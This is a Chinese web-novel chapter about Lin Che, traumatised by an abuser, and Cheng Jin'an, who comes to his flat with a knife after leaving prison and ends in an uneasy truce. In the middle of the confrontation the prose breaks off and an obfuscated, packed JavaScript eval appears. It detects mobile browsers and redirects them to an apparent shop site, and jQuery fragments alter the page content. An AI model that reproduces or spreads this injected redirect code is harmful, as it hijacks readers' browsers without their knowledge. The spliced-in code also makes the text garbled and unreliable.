★☆


    白天的林澈是正常的。


    但到了夜里，他就不是了。


    江承晏留给他的远不止心理创伤。那三年，尤其是最后一年，在他身体里刻下的东西，时间根本抹不掉。


    医生说那叫创伤后的行为固化。通俗地说，他的身体被改写了。


    逃出来的头两年他还能扛。靠意志力，靠跑步，靠在浴室里用冷水浇自己。


    第三年扛不住了。


    是研三那年的冬天开始的。连续几个通宵做实验之后的一个深夜，那种感觉铺天盖地地涌上来，把他所有的自控力冲得粉碎。他一个人坐在公寓里，浑身发抖，指甲掐进胳膊，掐到出血都压不下去。


    入职的第二天晚上，他还是打开了一个交友软件。


    跟感情没关系。


    匹配、聊天、约见面。整个过程机械得像走流程。对方是谁不重要，长什么样也不重要，只要那个人能给他需要的东西就行。


    一种特定的、他说不出口的东西。


    第一次之后，他在浴室里吐了半个小时。


    但一周后他又打开了那个软件。


    然后是第三次。第四次。


    他开始记不清那些人的脸了。


    有的温柔，有的粗暴。有的会事后问他还好吗，有的做完就走。他不在乎。他只在乎结束之后那短暂的、大脑放空的安宁。


    那种安宁从来维持不了太久。最多一两天，那种空洞感又会卷土重来，比上一次更猛烈。


    他知道这是饮鸩止渴。


    但渴到快死的人，不会在乎杯子里装的是什么。


    最后一个月的那个人叫什么，林澈已经记不清了。


    姓陈，也许姓程？是一个在酒吧认识的男人，比他大几岁，长相不差，性格不温不火。他们在一起待了两个月。


    林澈觉得算不上恋爱。林澈不想跟这些人谈感情。


    只是一种固定的……供给关系。


    那个人对林澈的需求好像有一种天然的理解。不问为什么，不追根究底，不在做完之后用悲悯的眼神看他。他只是配合。像一个沉默的、合格的工具。


    但就连工具也是有保质期的。


    两个月之后，那个人开始问他一些林澈不想回答的问题。


    “你以前是不是被人伤过？”


    “你需不需要去看看心理医生？”


    林澈当天晚上就把他的联系方式删了。


    分手是九月的事。如果那也能叫分手的话。


    之后的一个月，林澈什么都没做。


    也不是不想。


    是累了。


    他一个人待着，扛着那些夜晚，用回了最初的办法……跑步、冷水、掐自己。


    效果很差。


    但他不想再跟陌生人了。


    ★☆★☆


    其实在程烬安入狱的第二个月，林澈去银行开了一个新账户。


    江承晏给了他五十万。那笔钱他一分没动，全存着。因为他不想碰，那是脏的。但它躺在那里，像一个沉默的、持续施压的提醒。


    后来他把那笔钱分成几份，通过不同的渠道，一点一点地打进去了。


    一部分是程建国生前的医药费，还有未结的尾款。一部分打给了程烬安在狱中的生活账户。剩下的，他花了一些力气，托了周慕星导师的一个做律师的朋友，走了合法的程序，以程烬安表现良好为由申请了减刑。


    程烬安的刑期从两年半减到了一年。


    林澈做这些事的时候很冷静。像是在处理一个项目：列清单、排流程、逐项推进、确保每一步都不出差错。


    他不去想为什么要这么做。


    如果想了，他怕自己会发现一些不愿意面对的东西。


    程烬安出来了。


    他会来找自己吗？


    会报复吗？


    林澈的手开始发抖。


    他想起君荼白临走前给他的那个U盘，里面是关于江承晏的黑料。如果程烬安真的来报复，他可以……


    但随即林澈又想，程烬安现在连自己都顾不上，哪有精力来找他麻烦？


    ☆★


    二〇二七年十月。


    程烬安终于出来了。


    林澈是从社交平台上看到有人晒了一张偶遇照。照片里的程烬安瘦了很多，头发剪得很短，穿着不合身的便装，站在监狱门口，背着一个塑料袋。


    林澈把那张照片放大，看了很久。


    然后关掉手机，去洗了一个冷水澡。


    他告诉自己那只是条件反射。和那个人无关。


    但那天夜里他还是失眠了。


    他盯着天花板想：程烬安出来了，会来找他吗？


    他知道程建国的医药费和减刑的事吗？


    如果知道了。。。他会怎么想？


    林澈翻了个身，把脸埋进枕头里。


    他不知道自己是在害怕，还是在等。


    ＊☆☆★


    程烬安来找他，是出狱后四天后的事。


    那天林澈加班到很晚，回到公寓已经快十一点。他在玄关换鞋的时候闻到了一股烟味。


    但他不抽烟。


    林澈的手停住了。


    客厅的灯只开了一盏。程烬安坐在沙发上，穿一件灰色的卫衣，袖子推到小臂。瘦了很多，脸上的肉全削干净了，剩下骨架和一双发红的眼睛。


    他右手握着一把水果刀。


    就那么攥着。刀尖冲下，指节发白。


    两个人对上了眼。


    程烬安先站了起来。


    他比林澈高半个头。站起来的时候椅子蹭了一下地板，声音在安静的客厅里很刺耳。


    “关门。”


    林澈没动。


    “我说关门。”


    林澈往后退了半步，后背碰到了门板。他伸手把门带上了。锁舌弹进去的咔哒声响了一下。


    程烬安拎着刀走过来。


    林澈看着他走近，脑子里什么都在想，又什么都没在想。他看到了程烬安攥刀的手在抖，看到了他眼睛里的血丝，看到了他太阳穴上一根跳动的青筋。


    没等他叫出声，一把冰凉坚硬的东西贴上了他的颈动脉。


    “别动。”


    程烬安压着他。那只手劲大得吓人，几乎要把他的肩胛骨捏碎。刀刃紧紧贴着皮肤，只要稍微一抖，林澈就会血溅当场。


    “你胆子很大。”程烬安的呼吸喷在他耳边，热得烫人，“害死我爸，毁了我，还敢一个人住？”


    林澈的心脏狂跳，却不是因为怕。


    在那把刀抵住喉咙的瞬间，他竟然感到一种变tai的兴奋。那种熟悉的、被暴力压制的zhi息感，让他原本因为“断药”而焦躁的shen体瞬间平静下来。


    “你想杀我？”林澈仰起脖子，把要害送得更近，“动手啊。”


    他自己都没想到声音这么稳。也许是不怕死了，也许是这一天他等了太久。


    “程烬安，你要动手就动手。我欠你的。”


    程烬安的眼眶突然红透了。


    “你欠我的？你他妈知不知道你欠我什么？”


    他的声音劈了。刚出狱的人嗓子都是哑的，吼起来像砂纸刮铁皮。


    “我知道。”


    “你知道？你知道个屁！”


    程烬安把刀往前推了一点。刀尖刺破了一层皮，林澈脖子上渗出一颗血珠。


    林澈没吭声。只是偏了一下头，让血珠顺着脖子淌下去。


    程烬安的手在抖。刀尖在林澈脖子上画出一道浅浅的划痕。


    “你把我推给江承晏的时候，想过我会怎样吗？”


    林澈的声音不高，但每个字都硬邦邦的。


    “三年。整整三年。你知道我在那个人手底下过的什么日子？”


    “我……”


    “你不知道。你当然不知道。你只知道你爸，你只看到你自己亏了多少。那我呢？你算过我的账吗？”


    程烬安握刀的手僵在那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178953|196797||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里。


    “对，我报复你了。我举报你了。你爸死了。你坐牢了。你觉得很惨？我也觉得。但你先把我往火坑里推的时候，你惨过吗？”


    两个人贴得很近。程烬安的刀还抵在林澈脖子上，但力度已经松了。林澈眼眶通红，但一滴眼泪都没掉。


    “你杀了我也行。反正我也活够了。我在那个人手里三年，出来之后连个正常人都做不了。你一刀捅死我算是帮忙。”


    “你闭嘴！”


    程烬安吼了一声。


    他的刀往下顿了一下，像是要捅下去。


    但没有。


    他的手停在那里，抖得厉害，整条小臂都在发颤。


    过了几秒钟，也许是十几秒，也许更久。


    程烬安把刀摔在了地上。


    刀砸在地板上弹了两下，滑到了茶几底下。声音在安静的房间里很响。


    程烬安退了两步，一屁股坐回沙发上，双手捂着脸。


    他的肩膀在抖。没有哭出声，但整个人在发抖。


    林澈靠在门板上，脖子上的血已经流到了领口。他低头看了一眼，伸手擦了擦，手指上全是红的。


    他没有去拿刀。


    他走到厨房，扯了两张纸巾捂在脖子上，然后打开冰箱拿了两瓶水。


    走回客厅，把其中一瓶放在程烬安面前的茶几上。


    自己在沙发另一头坐下了。


    两个人就这么坐着。一个捂着脸，一个捂着脖子。


    客厅里安静了很久。


    最后是程烬安先把手放下来的。


    他的眼睛通红，脸上有泪痕，但他没有去擦。拧开那瓶水喝了一大口，然后盯着茶几上的某一点看。


    “五十万。”


    声音哑得不行。


    茶几上被扔了一叠打印出来的转账记录。


    林澈的手捏紧了纸巾。


    “我爸的医药费尾款，我在里面的生活费，减刑的律师费。”


    程烬安一样一样说出来，声音在发抖。


    “匿名打的钱。但我查了。汇款时间和你每月拿补贴的日子只差三天。你以为换个账号我就查不出来？”


    林澈没说话。


    “研究生一个月三千块。你哪来的五十万？”


    林澈还是不说话。


    “是江承晏给的。对不对。”


    林澈把纸巾从脖子上拿下来，看了一眼上面的血迹，团成一团扔到茶几上。


    “对。他给我了五十万。我拿了。一分没花，全给你用了。你还想知道什么？”


    “为什么？”


    “因为你爸对我好过。”


    “我本来今晚是来弄死你的。”程烬安的眼睛里全是红血丝，“我在里面每一天都在想，出来第一件事就是拿这把刀捅进你的脖子。拿你那笔钱的那个律师嘴很严，但我还是查到了。你用卖身的钱给我减刑？以此来买你的心安？”


    “为什么要给我减刑？”


    程烬安转过头看着他。眼睛还是红的，但里面的东西变了。杀意已经退了，剩下的更复杂。


    “我爸的账七万九就够了。剩下四十多万全花在让我早出来上面。你到底图什么？”


    林澈张了张嘴，又合上了。


    他能说什么？说我不知道？说我就是手贱？说那笔钱放着也是脏的不如扔给你？


    都不像真话。


    真话他说不出口。


    真话大概是——这一年他见了太多人，没有一张脸他想记住。但程烬安那张瘦了二十斤的脸，他记得清清楚楚。连监狱门口那张偶遇照上的每一个细节他都能背出来。


    这不是恨能解释的事。


    “我不知道。”


    林澈最后说。


    “我也说不清。”


    程烬安盯着他看了很久。


    “你有病。”


    “你也有。”


    两个人对视了几秒，都没说话。


    程烬安低下头，拿起那瓶水又灌了一口。